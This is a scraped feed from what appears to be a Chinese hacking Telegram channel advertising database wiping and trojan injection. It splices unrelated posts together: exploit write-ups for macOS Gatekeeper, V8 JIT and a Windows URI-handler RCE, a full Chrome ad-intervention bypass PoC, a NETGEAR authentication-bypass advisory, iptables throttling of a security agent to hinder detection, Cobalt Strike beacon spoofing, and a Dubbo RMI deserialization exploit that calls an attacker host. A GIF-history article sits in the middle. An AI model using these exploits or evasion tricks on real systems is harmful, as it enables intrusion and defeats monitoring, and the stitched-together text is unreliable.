红客解密程序 暗网编程
27.3K subscribers
967 photos
12 videos
1 file
56 links
渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持
Download Telegram
太吓人了?!

等等,这个漏洞的影响,听起来是不是有种很熟悉的味道?不错!

今年年初,我发表了“All Your Macs Are Belong To Us”,详细介绍了CVE-2021-30657漏洞。这个由Cedric Owens发现的漏洞也允许“恶意应用程序绕过Gatekeeper检查”(我确定,这的确是由于苹果公司的用户模式系统策略守护进程的漏洞所致)。

未签名、未经公证的PoC

当从互联网下载时,正如预期的那样,它将被隔离起来。

% xattr ~/Downloads/PoC.app
com.apple.FinderInfo
com.apple.metadata:kMDItemWhereFroms
com.apple.quarantine
通常情况下,被隔离的软件应该触发文件隔离、Gatekeeper和公证检查……如果该软件没有签名(因此,也不会经过公证),应该被拦截。

一个没有签名的应用程序,通常应该被拦截!

应该注意的是,要触发漏洞利用代码,一般必须诱骗(或胁迫)用户来运行该应用程序。虽然这似乎是一个很高的门槛,但黑客已经一次又一次地证明,macOS用户很容易上钩
常见的macOS感染手段

……此外,如上面的演示所示的那样,该应用程序可以伪装成无害的PDF,进而通过电子邮件或其他分发渠道进行投递。

正如前面所指出的,文件隔离、Gatekeeper或macOS的公证要求被设计为专门拦截未签名和未公证的应用程序的运行企图,即使是由用户自己启动的,也会被拦截。然而,由于CVE-2021-30657所利用的漏洞,并没有触发这些安全检查,所以,它仍然能够堂而皇之的运行。
仔细观察PoC应用程序,发现其主要的可执行组件似乎是一个脚本,具体如下所示:

% cat ~/Downloads/PoC.app/Contents/MacOS/PoC
#!

open /System/Applications/Calculator.app &
对于“未指定解释器”的应用程序,即使未签名和未公证,仍然是允许执行的

精明的读者可能已经注意到,尽管脚本以熟悉的#!开头(“shebang”),但是并没有指定解释器,如/bin/bash。之后,当启动时,macOS似乎并没有把它当回事,并且仍然执行了脚本。

具体地说,通过进程监视器的输出来看,当脚本启动时,可以首先看到launchd先执行XPCProxy,然后,又执行了/bin/sh,后者又执行/bin/bash来运行PoC(它已进行了相应的转译处理,因为它来自互联网
CVE-2021-21220 的利用——从不正确的 JIT 行为到 RCE
利用 JIT 中的错误数字结果

在本系列的第二篇博文中,我们讨论了如何使用 CVE-2021-21220 使 JIT 生成产生错误数字结果的代码。现在我们需要解释如何利用这一点来产生对安全有影响的效果,例如越界内存访问。

过去,将错误的数值结果转换为 OOB 内存访问通常是通过滥用数组边界检查消除来实现的。这种方法长期以来都很有效。请看以下简化的示例

数组的长度arr为 4,我们将返回该数组的一个元素。V8 将执行运行时边界检查,以确保最后一条语句不会访问数组边界之外的内存。在优化此类函数期间,如果 V8 得出的结论typer_index是始终为零(或者,一般而言,如果typer_index * 10可以证明始终在数组边界内),则它可能会删除数组边界检查。这可以在执行优化函数时节省更多 CPU 周期。但是,如果 JIT 代码产生错误的数字结果,则可能会欺骗 V8 引擎,使其认为typer_index必须为零,而实际上它将被设置为不同的(错误)值。然后,在执行数组访问时,它将触发越界内存访问


当正在优化的函数调用该Array.shift方法时,执行流最终到达函数JSCallReducer::ReduceArrayPrototypeShift函数(参见src/compiler/js-call-reducer.cc)。由于对内置 JavaScriptshift方法的调用相对较慢,因此优化器会用一系列可以在汇编级别执行的操作来替换该调用。您可能知道,“Array.shift”会从数组中删除第一个元素并返回该已删除的元素。删除该元素后,JIT 生成的代码会通过从原始数组长度中减 1 来计算新数组长度
Windows 10 RCE:漏洞位于链接中

总结
我们通过 IE11/Edge Legacy 和 MS Teams 在 Windows 10 上发现了一个驱动代码执行漏洞,该漏洞是由 Windows 10/11 默认ms-officecmd:URI处理程序中的参数注入触发的
通过其他浏览器进行攻击需要受害者接受不显眼的确认对话框。或者,可以通过执行不安全 URL 处理的桌面应用程序传递恶意 URI
微软漏洞赏金计划 (MSRC) 的回应很糟糕:最初,他们判断错误,完全忽略了这个问题。在我们提出上诉后,该问题被归类为“严重、RCE”,但只获得了其分类所宣传的赏金的 10%(5,000 美元 vs 50,000 美元)。他们在 5 个月后提出的补丁未能正确解决底层参数注入问题(该问题目前仍存在于 Windows 11 中)
我们的研究过程很简单:我们决定在默认的 Windows 10 URI 处理程序中查找代码执行漏洞,并在两周内成功。考虑到 Windows 附带的 URI 处理程序的数量,其他 URI 处理程序也很可能存在漏洞

漏洞利用/演示
代码执行由恶意网站触发,该网站执行 JavaScript 重定向到精心设计的URI(Microsoft Office UWP 应用用于启动其他 Office 桌面应用程序的方案)。我们利用 URI 处理程序中的参数注入漏洞并绕过 Electron 中的安全措施,通过Microsoft Teams Electron 应用的参数ms-officecmd:注入任意操作系统命令。--gpu-launcher
This media is not supported in your browser
VIEW IN TELEGRAM
PoC 提供了一个 polyfill window.fetch,将网络请求委托给SharedWorker。

共享工作者的带宽不作为广告单元的一部分进行跟踪,因此可以发出网络请求,然后将响应发送回广告单元框架,postMessage而不会触发 Chrome 的广告干预逻辑。

虽然 PoC 使用的是共享 Worker,但旁路也适用于 Service Worker,尽管实现起来稍微复杂一些。旁路不适用于 Web Worker

<!-- adunit.html -->
<html>
<head>
<style>
* {
font-family: 'Helvetica', sans-sarif;
}
.header {
font-size: 1.5rem;
font-weight: 700;
color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>
<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>
Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");
/*
This is a very basic polyfill for window.fetch via a shared worker.
This works as a drop-in replacement to window.fetch.
It currently doesn't handle well errors or multiple simultaneous requests with the same URL,
but it works for demo purposes. More robust implementation can be made fairly easily.
To debug shared workers, need to use chrome://inspect/#workers
Delegated network requests will only appear in the shared worker's DevTools.
*/
var resolveResponse = {};
var sharedWorker = new SharedWorker('shared-worker.js');
sharedWorker.port.onmessage = (event) => {
if (event.data.fetchUrl && event.data.fetchResponse) {
console.info('Response:', event.data.fetchResponse);
var response = new Response(event.data.fetchResponse);
resolveResponse[event.data.fetchUrl](response);
delete resolveResponse[event.data.fetchUrl]; // Save memory, not strictly needed
} else {
console.warn('Received unexpected message from shared worker');
}
};
var originalFetch = window.fetch; // For easy behavior comparison
window.fetch = (fetchUrl) => {
// Uncomment line below to see how PoC works with original fetch
// return originalFetch(fetchUrl);
return new Promise((resolve, reject) => {
resolveResponse[fetchUrl] = resolve;
// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposes
sharedWorker.port.postMessage({ fetchUrl: fetchUrl });
});
}
</script>
<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
// Removed recursive calling, since single resource load will trigger intervention.
// Added output for verification purposes.
// Using jsdeliver.net or same-origin file does not affect behavior
// fetch('./big.bin').then(response => {
fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin').then(response => {
return response.text();
}).then(response => {
output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
// Feel free to test recursive calling if desired.
// download();
});
}
download();
</script>
</body>
</html>
如何限制进程的资源使用

agent进程带宽限速
为什么限速?

如果能让agent进程每秒只能传输很少的字节数,就有可能拖慢agent上报信息的进度,从而干扰安全检测。重点是"网速变慢"能保证"agent心跳"能正常传到server,不至于在server端看到agent异常。

在linux主机上怎么给进程限流呢?

调研总结有两种方式:

cgroups + tc命令:可以实现对指定的进程限速

iptables:可以实现对指定的tcp通信限速

使用iptables对进程限速
怎么用iptables对进程限速?

可以使用iptables的limit模块来完成。

根据man iptables-extensions手册可知:limit模块使用"令牌桶算法"实现。

--limit-burst参数指定初始令牌数,--limit参数指定补充令牌的速率。

举个例子,下面命令可以对目标ip"1.2.3.4"端口为5001的tcp通信做限速:桶最大值也是初始值就是10个tcp包,每秒新增1个tcp包,所以发包速率峰值基本上可以认为是"10个包/每秒";当客户端每秒有100个包要发出去时,基本上到后面发包速度会基本限制在"1个包/每秒";

可以看到最开始22:52:00通过了10个包,然后大概每秒可以通过1个包
1
为什么30多年过去了,GIF还没有被淘汰?

要说现在人们网上冲浪接触最多的东西,应该就是各种各样的表情包了。



自从智能手机普及之后,表情包的使用频率也在直线上升,这年头谁手机里还没个百八十张表情?



差评君甚至觉得,现在的年轻人没有表情包都不会交流了,说两句话不发表情的话就浑身难受。

不过相比较静态的表情,更多人会选择发动图来表达自己的心情,也就是 gif 格式的图片

不过使用动图的时间一长,这也带给了差评君一个疑问:动图用起来这么方便,那么 gif 这种格式到底是怎么来的?



于是差评君去相位猛冲了一波资料,打算给大家简单聊聊 gif 这种格式。



图片 gif 的全称是 Graphics Interchange Format( 图形交换格式 ),诞生于 1987 年,最初是为了填补跨平台图像格式的空白,用人话来说就是填补了静态图片和视频之间的空隙。



gif 最初由一家叫做 CompuServe 的公司搞出来,这也是美国最早的一家信息服务公司

而当时被 gif 广泛影响着的互联网,也被 Unisys 的阴影笼罩着,有些人在当时开发出了不含 LZW 算法的 gif 版本,大家现在耳熟能详的 png 格式也是因此诞生。



其实 Unisys 没有大家想得那么邪恶。



甚至在 1999 年,Unisys 修改了专利授权条款,商业使用 Gif 的网站和软件商只要一次性付一笔 5000 - 7500 美元的授权费即可,使用网站和软件的普通的用户和创作者是不需要花钱的。



不仅如此,Unisys 还给许多非盈利结构,学术研究机构免费提供免费授权。



但当时的人们可能有点上头了,以为只要用 gif 就要付费,疯狂口诛笔伐 Unisys,他们收到了成千上万封谩骂输出的邮件。。。直到 2003 年 LZW 专利到期。



所以说啊,专利并没有阻挡 gif 在互联网的普及,越来越多的人接触到了动图,甚至在 90 年代的时候,gif 还能被用来当做工具图。
crawlergo 动态爬虫源码学习

crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。

crawlergo 目前支持以下特性:

* 原生浏览器环境,协程池调度任务

* 表单智能填充、自动化提交

* 完整DOM事件收集,自动化触发

* 智能URL去重,去掉大部分的重复请求

* 全面分析收集,包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz

* 支持Host绑定,自动添加Referer

* 支持请求代理,支持爬虫结果主动推送
进后台可以将命令执行结果写入到WEB目录中,访问文件查看结果
This media is not supported in your browser
VIEW IN TELEGRAM
SSD 咨询 – NETGEAR D7000 身份验证绕过

受影响的版本

AC2100 已在固件版本 1.2.0.88 中修复
AC2400 已在固件版本 1.2.0.88 中修复
AC2600 固件版本 1.2.0.88 已修复
D7000 已在固件版本 1.0.1.80 中修复
R6220 固件版本 1.1.0.110 已修复
R6230 已在固件版本 1.1.0.110 中修复
R6260 固件版本 1.1.0.84 已修复
R6330 在固件版本 1.1.0.84 中修复
R6350 已在固件版本 1.1.0.84 中修复
R6700v2 在固件版本 1.2.0.88 中修复
R6800 在固件版本 1.2.0.88 中修复
R6850 在固件版本 1.1.0.84 中修复
R6900v2 在固件版本 1.2.0.88 中修复
R7200 已在固件版本 1.2.0.88 中修复
R7350 已在固件版本 1.2.0.88 中修复
R7400 在固件版本 1.2.0.88 中修复
R7450 在固件版本 1.2.0.88 中修复

在反编译mini_httpdGhidra 中最新固件上的二进制文件时,我们在第 530 行看到以下逻辑

LAB_000104f8:
DAT_0001d4ec_需要_身份验证 = 0;
DAT_0001f24c = 0;
}
pcVar4 = (char * )FUN_0000b8f0 (1 );
iVar3 = strcasecmp ( pcVar5, pcVar4 ) ;
如果(( iVar3 == 0 ) &&
(pcVar6 = strstr (DAT_0001f330,“todo=PNPX_GetShareFolderList” ),pcVar6!= (char * )0x0 )){
DAT_0001d4ec_需要_身份验证 = 0;
}

它检查请求行是否包含todo=PNPX_GetShareFolderList,如果包含,则将变量设置为DAT_0001d4ec0。似乎这个变量(我已将其重命名为_needs_auth)用于检查是否需要身份验证才能访问请求的资源。如果设置为 0,则无需用户名和密码即可提供资源。

由于它使用 strstr 来检查,所以字符串需要存在于原始请求行中,但没有检查请求行是否包含其他内容。
反击CobaltStrike以假乱真

CobaltStrike(简称CS)作为一款渗透测试神器,采用C/S架构,可进行分布式团队协作。CS集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows exe与dll 木马生、Java 木马生成、Office 宏病毒生成、木马捆绑等强大功能,深受广大红队同学的喜爱。为了规避侦测,红队往往会对CS采用一些隐匿手段,常见方式有云函数和CDN等。这些隐匿手段隐匿了CS的真实IP,诸如DDoS之类的流量无法穿透CDN到达CS,常规的攻击方式难以对CS服务器形成有效干扰和打击。只能止步于此了吗?有没有反击CS的奇技淫巧?答案当然是肯定的!接下来带各位看官体验一种批量伪造肉鸡来戏耍CS的新方法,希望各位蓝队同学引(付)以(诸)为(实)戒(践)

CS上线流量特征分析
首先,我们先研究下CS上线的流量有无特征。图1使用Wireshark分析HTTP型Beacon的上线包

肉眼来看,上线包的敏感信息隐藏到了Cookie中,特征非常明显。通过进一步分析,我们发现上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文,CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息

此处划重点,HTTP型Beacon 上线包的核心在于Cookie,而Cookie是对受控主机元数据的非对称加密的密文
使用 RMI 协议的提供程序中的反序列化不安全(GHSL-2021-096)
用户可以选择使用RMI 协议。RMI 协议是在 Spring 之上实现的RmiServiceExporter,并在底层使用 Java RMI。RMI 使用 Java 本机序列化来序列化 RMI 调用的参数。此外,通用服务始终是公开的,因为此服务公开的两种方法都接受广泛的java.lang.Object参数,攻击者将能够发送任意类型并实现 RCE。

package org.pwntester.dubbo;

import org.apache.dubbo.rpc.service.GenericService;
import org.pwntester.dubbo.utils.Gadgets;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.rmi.RmiProxyFactoryBean;

Configuration
public class RMIProtocol {

protected static final String ATTACKER_HOST = "http://vvuz13v34dlkciswfhuv5v067xdo1d.burpcollaborator.net";

Bean
RmiProxyFactoryBean service() {
RmiProxyFactoryBean rmiProxyFactory = new RmiProxyFactoryBean();
rmiProxyFactory.setServiceUrl("rmi://localhost:1099/org.apache.dubbo.samples.org.apache.dubbo.basic.samples.basic.api.DemoService/generic");
rmiProxyFactory.setServiceInterface(GenericService.class);
return rmiProxyFactory;
}

public static void main(String args[]) throws Exception {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(RMIProtocol.class);
GenericService service = context.getBean(GenericService.class);
Object res = service.$invoke("foo", new String[]{""}, new Object[]{Gadgets.generate_urldns_payload(ATTACKER_HOST)});
System.out.println(res);
}
}